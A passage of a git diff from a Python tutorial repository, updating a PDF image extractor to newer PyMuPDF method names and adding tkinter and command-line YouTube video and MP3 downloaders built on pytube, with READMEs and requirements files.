page.get_images() # printing number of images found in this page if image_list: print(f"[+] Found a total of {len(image_list)} images in page {page_index}") else: print("[!] No images found on page", page_index) - for image_index, img in enumerate(page.getImageList(), start=1): + for image_index, img in enumerate(image_list, start=1): # get the XREF of the image xref = img[0] # extract the image bytes - base_image = pdf_file.extractImage(xref) + base_image = pdf_file.extract_image(xref) image_bytes = base_image["image"] # get the image extension image_ext = base_image["ext"] diff --git a/web-scraping/youtube-mp3-downloader/README.md b/web-scraping/youtube-mp3-downloader/README.md new file mode 100644 index 00000000..4f3d2531 --- /dev/null +++ b/web-scraping/youtube-mp3-downloader/README.md @@ -0,0 +1 @@ +# [How to Build a YouTube Audio Downloader in Python](https://www.thepythoncode.com/article/build-a-youtube-mp3-downloader-tkinter-python) \ No newline at end of file diff --git a/web-scraping/youtube-mp3-downloader/mp3_downloader.py b/web-scraping/youtube-mp3-downloader/mp3_downloader.py new file mode 100644 index 00000000..5993e8a7 --- /dev/null +++ b/web-scraping/youtube-mp3-downloader/mp3_downloader.py @@ -0,0 +1,161 @@ +from tkinter import * +from tkinter import ttk +from pytube import YouTube +from tkinter.messagebox import showinfo, showerror, askokcancel +import threading +import os + + +# the function for closing the application +def close_window(): + # if askokcancel is True, close the window + if askokcancel(title='Close Application', message='Do you want to close MP3 downloader?'): + # this distroys the window + window.destroy() + + +# the function to download the mp3 audio +def download_audio(): + # the try statement to excute the download the video code + # getting video url from entry + mp3_link = url_entry.get() + # checking if the entry and combobox is empty + if mp3_link == '': + # display error message when url entry is empty + showerror(title='Error', message='Please enter the MP3 URL') + # else let's download the audio file + else: + # this try statement will run if the mp3 url is filled + try: + # this function will track the audio file download progress + def on_progress(stream, chunk, bytes_remaining): + # the total size of the audio + total_size = stream.filesize + # this function will get the size of the audio file + def get_formatted_size(total_size, factor=1024, suffix='B'): + # looping through the units + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if total_size < factor: + return f"{total_size:.2f}{unit}{suffix}" + total_size /= factor + # returning the formatted audio file size + return f"{total_size:.2f}Y{suffix}" + + # getting the formatted audio file size calling the function + formatted_size = get_formatted_size(total_size) + # the size downloaded after the start + bytes_downloaded = total_size - bytes_remaining + # the percentage downloaded after the start + percentage_completed = round(bytes_downloaded / total_size * 100) + # updating the progress bar value + progress_bar['value'] = percentage_completed + # updating the empty label with the percentage value + progress_label.config(text=str(percentage_completed) + '%, File size:' + formatted_size) + # updating the main window of the app + window.update() + + # creating the YouTube object and passing the the on_progress function + audio = YouTube(mp3_link, on_progress_callback=on_progress) + # extracting and downloading the audio file + output = audio.streams.get_audio_only().download() + # this splits the audio file, the base and the extension + base, ext = os.path.splitext(output) + # this converts the audio file to mp3 file + new_file = base + '.mp3' + # this renames the mp3 file + os.rename(output, new_file) + # popup for dispalying the mp3 downlaoded success message + showinfo(title='Download Complete', message='MP3 has been downloaded successfully.') + # ressetting the progress bar and the progress label + progress_label.config(text='') + progress_bar['value'] = 0 + # the except will run when an expected error occurs during downloading + except: + showerror(title='Download Error', message='An error occurred while trying to ' \ + 'download the MP3\nThe following could ' \ + 'be the causes:\n->Invalid link\n->No internet connection\n'\ + 'Make sure you have stable internet connection and the MP3 link is valid') + # ressetting the progress bar and the progress label + progress_label.config(text='') + progress_bar['value'] = 0 + + + +# the function to run the download_audio function as a thread +def downloadThread(): + t1 = threading.Thread(target=download_audio) + t1.start() + + +# creates the window using Tk() fucntion +window = Tk() + +# this will listen to the close window event +window.protocol('WM_DELETE_WINDOW', close_window) + +# creates title for the window +window.title('MP3 Downloader') + +# the icon for the application, this will replace the default tkinter icon +window.iconbitmap(window, 'icon.ico') + +# dimensions and position of the window +window.geometry('500x400+430+180') +# makes the window non-resizable +window.resizable(height=FALSE, width=FALSE) + +# creates the canvas for containing all the widgets +canvas = Canvas(window, width=500, height=400) +canvas.pack() + +"""Styles for the widgets""" +# style for the label +label_style = ttk.Style() +label_style.configure('TLabel', foreground='#000000', font=('OCR A Extended', 15)) + +# style for the entry +entry_style = ttk.Style() +entry_style.configure('TEntry', font=('Dotum', 15)) + +# style for the button +button_style = ttk.Style() +button_style.configure('TButton', foreground='#000000', font='DotumChe') + +# loading the MP3 logo +logo = PhotoImage(file='mp3_icon.png') +# creates dimensions for the logo +logo = logo.subsample(2, 2) +# adding the logo to the canvas +canvas.create_image(180, 80, image=logo) + +# the Downloader label just next to the logo +mp3_label = ttk.Label(window, text='Downloader', style='TLabel') +canvas.create_window(340, 125, window=mp3_label) + +# creating a ttk label +url_label = ttk.Label(window, text='Enter MP3 URL:', style='TLabel') +# creating a ttk entry +url_entry = ttk.Entry(window, width=72, style='TEntry') + +# adding the label to the canvas +canvas.create_window(114, 200, window=url_label) +# adding the entry to the canvas +canvas.create_window(250, 230, window=url_entry) + +# creating the empty label for displaying download progress +progress_label = Label(window, text='') +# adding the label to the canvas +canvas.create_window(240, 280, window=progress_label) + +# creating a progress bar to display progress +progress_bar = ttk.Progressbar(window, orient=HORIZONTAL, length=450, mode='determinate') +# adding the progress bar to the canvas +canvas.create_window(250, 300, window=progress_bar) + +# creating the button +download_button = ttk.Button(window, text='Download MP3', style='TButton', command=downloadThread) +# adding the button to the canvas +canvas.create_window(240, 330, window=download_button) + +# this runs the app infinitely +window.mainloop() \ No newline at end of file diff --git a/web-scraping/youtube-mp3-downloader/requirements.txt b/web-scraping/youtube-mp3-downloader/requirements.txt new file mode 100644 index 00000000..30257302 --- /dev/null +++ b/web-scraping/youtube-mp3-downloader/requirements.txt @@ -0,0 +1 @@ +pytube \ No newline at end of file diff --git a/web-scraping/youtube-video-downloader/README.md b/web-scraping/youtube-video-downloader/README.md new file mode 100644 index 00000000..c46c2011 --- /dev/null +++ b/web-scraping/youtube-video-downloader/README.md @@ -0,0 +1 @@ +# [How to Make a YouTube Video Downloader in Python](https://www.thepythoncode.com/article/make-a-youtube-video-downloader-in-python) \ No newline at end of file diff --git a/web-scraping/youtube-video-downloader/requirements.txt b/web-scraping/youtube-video-downloader/requirements.txt new file mode 100644 index 00000000..30257302 --- /dev/null +++ b/web-scraping/youtube-video-downloader/requirements.txt @@ -0,0 +1 @@ +pytube \ No newline at end of file diff --git a/web-scraping/youtube-video-downloader/youtube_downloader_cli.py b/web-scraping/youtube-video-downloader/youtube_downloader_cli.py new file mode 100644 index 00000000..19a5152a --- /dev/null +++ b/web-scraping/youtube-video-downloader/youtube_downloader_cli.py @@ -0,0 +1,38 @@ + +from pytube import YouTube + + +# the function takes the video url as an argument +def video_downloader(video_url): + + # passing the url to the YouTube object + my_video = YouTube(video_url) + + # downloading the video in high resolution + my_video.streams.get_highest_resolution().download() + + # return the video title + return my_video.title + +# the try statement will run if there are no errors +try: + # getting the url from the user + youtube_link = input('Enter the YouTube link:') + + print(f'Downloading your Video, please wait.......') + + # passing the url to the function + video = video_downloader(youtube_link) + # printing the video title + print(f'"{video}" downloaded succussfully!!') + +#the except will catch ValueError, URLError, RegexMatchError and simalar +except: + print(f'Failed to download video\nThe '\ + 'following might be the causes\n->No internet '\ + 'connection\n->Invalid video link') + + +# YouTube(url).streams.filter(res="360p").first().download() + +#YouTube(url).streams.first().download() diff --git a/web-scraping/youtube-video-downloader/youtube_downloader_ui.py b/web-scraping/youtube-video-downloader/youtube_downloader_ui.py new file mode 100644 index 00000000..74e0aff7 --- /dev/null +++ b/web-scraping/youtube-video-downloader/youtube_downloader_ui.py @@ -0,0 +1,218 @@ +from tkinter import * +from tkinter import ttk +from pytube import YouTube +from tkinter.messagebox import showinfo, showerror, askokcancel +import threading + + + +# the function to download the video +def download_video(): + # the try statement to excute the download the video code + try: + # getting video url from entry + video_link = url_entry.get() + # getting video resolution from Combobox + resolution = video_resolution.get() + # checking if the entry and combobox is empty + if resolution == '' and video_link == '': + # display error message when combobox is empty + showerror(title='Error', message='Please enter both the video URL and resolution!!') + # checking if the resolution is empty + elif resolution == '': + # display error message when combobox is empty + showerror(title='Error', message='Please select a video resolution!!') + # checking if the comboxbox value is None + elif resolution == 'None': + # display error message when combobox value is None + showerror(title='Error', message='None is an invalid video resolution!!\n'\ + 'Please select a valid video resolution') + # else let's download the video + else: + # this try statement will run if the resolution exists for the video + try: + # this function will track the video download progress + def on_progress(stream, chunk, bytes_remaining): + # the total size of the video + total_size = stream.filesize + # this function will get the size of the video + def get_formatted_size(total_size, factor=1024, suffix='B'): + # looping through the units + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if total_size < factor: + return f"{total_size:.2f}{unit}{suffix}" + total_size /= factor + # returning the formatted video size + return f"{total_size:.2f}Y{suffix}" + + # getting the formatted video size calling the function + formatted_size = get_formatted_size(total_size) + # the size downloaded after the start + bytes_downloaded = total_size - bytes_remaining + # the percentage downloaded after the start + percentage_completed = round(bytes_downloaded / total_size * 100) + # updating the progress bar value + progress_bar['value'] = percentage_completed + # updating the empty label with the percentage value + progress_label.config(text=str(percentage_completed) + '%, File size:' + formatted_size) + # updating the main window of the app + window.update() + + # creating the YouTube object and passing the the on_progress function + video = YouTube(video_link, on_progress_callback=on_progress) + # downlaoding the actual video + video.streams.filter(res=resolution).first().download() + # popup for dispalying the video downlaoded success message + showinfo(title='Download Complete', message='Video has been downloaded successfully.') + # ressetting the progress bar and the progress label + progress_label.config(text='') + progress_bar['value'] = 0 + # the except will run when the resolution is not available or invalid + except: + showerror(title='Download Error', message='Failed to download video for this resolution') + # ressetting the progress bar and the progress label + progress_label.config(text='') + progress_bar['value'] = 0 + + # the except statement to catch errors, URLConnectError, RegMatchError + except: + # popup for displaying the error message + showerror(title='Download Error', message='An error occurred while trying to ' \ + 'download the video\nThe following could ' \ + 'be the causes:\n->Invalid link\n->No internet connection\n'\ + 'Make sure you have stable internet connection and the video link is valid') + # ressetting the progress bar and the progress label + progress_label.config(text='') + progress_bar['value'] = 0 + + + +# function for searching video resolutions +def searchResolution(): + # getting video url from entry + video_link = url_entry.get() + # checking if the video link is empty + if video_link == '': + showerror(title='Error', message='Provide the video link please!') + # if video link not empty search resolution + else: + try: + # creating a YouTube object + video = YouTube(video_link) + # an empty list that will hold all the video resolutions + resolutions = [] + # looping through the video streams + for i in video.streams.filter(file_extension='mp4'): + # adding the video resolutions to the resolutions list + resolutions.append(i.resolution) + # adding the resolutions to the combobox + video_resolution['values'] = resolutions + # when search is complete notify the user + showinfo(title='Search Complete', message='Check the Combobox for the available video resolutions') + # catch any errors if they occur + except: + # notify the user if errors are caught + showerror(title='Error', message='An error occurred while searching for video resolutions!\n'\ + 'Below might be the causes\n->Unstable internet connection\n->Invalid link') + + + + + +# the function to run the searchResolution function as a thread +def searchThread(): + t1 = threading.Thread(target=searchResolution) + t1.start() + + +# the function to run the download_video function as a thread +def downloadThread(): + t2 = threading.Thread(target=download_video) + t2.start() + + + + +# creates the window using Tk() fucntion +window = Tk() + +# creates title for the window +window.title('YouTube Video Downloader') +# dimensions and position of the window +window.geometry('500x460+430+180') +# makes the window non-resizable +window.resizable(height=FALSE, width=FALSE) + +# creates the canvas for containing all the widgets +canvas = Canvas(window, width=500, height=400) +canvas.pack() + +# loading the logo +logo = PhotoImage(file='youtubelogo.png') +# creates dimensions of the logo +logo = logo.subsample(10, 10) +# adding the logo to the canvas +canvas.create_image(250, 80, image=logo) + + +"""Styles for the widgets""" +# style for the label +label_style = ttk.Style() +label_style.configure('TLabel', foreground='#000000', font=('OCR A Extended', 15)) + +# style for the entry +entry_style = ttk.Style() +entry_style.configure('TEntry', font=('Dotum', 15)) + +# style for the button +button_style = ttk.Style() +button_style.configure('TButton', foreground='#000000', font='DotumChe') + + +# creating a ttk label +url_label = ttk.Label(window, text='Enter Video URL:', style='TLabel') +# creating a ttk entry +url_entry = ttk.Entry(window, width=76, style='TEntry') + +# adding the label to the canvas +canvas.create_window(114, 200, window=url_label) +# adding the entry to the canvas +canvas.create_window(250, 230, window=url_entry) + + +# creating resolution label +resolution_label = Label(window, text='Resolution:') +# adding the label to the canvas +canvas.create_window(50, 260, window=resolution_label) + + +# creating a combobox to hold the video resolutions +video_resolution = ttk.Combobox(window, width=10) +# adding the combobox to the canvas +canvas.create_window(60, 280, window=video_resolution) + + +# creating a button for searching resolutions +search_resolution = ttk.Button(window, text='Search Resolution', command=searchThread) +# adding the button to the canvas +canvas.create_window(85, 315, window=search_resolution) + + +# creating the empty label for displaying download progress +progress_label = Label(window, text='') +# adding the label to the canvas +canvas.create_window(240, 360, window=progress_label) + +# creating a progress bar to display progress +progress_bar = ttk.Progressbar(window, orient=HORIZONTAL, length=450, mode='determinate') +# adding the progress bar to the canvas +canvas.create_window(250, 380, window=progress_bar) + +# creating the button +download_button = ttk.Button(window, text='Download Video', style='TButton', command=downloadThread) +# adding the button to the canvas +canvas.create_window(240, 410, window=download_button) + + +# runs the window infinitely +window.mainloop() \ No newline at end of file diff --git a/web-scraping/youtube-video-downloader/youtubelogo.png b/web-scraping/youtube-video-downloader/youtubelogo.png new file mode 100644 index 00000000..055b01b0 Binary files /dev/null and b/web-scraping/youtube-video-downloader/youtubelogo.png differ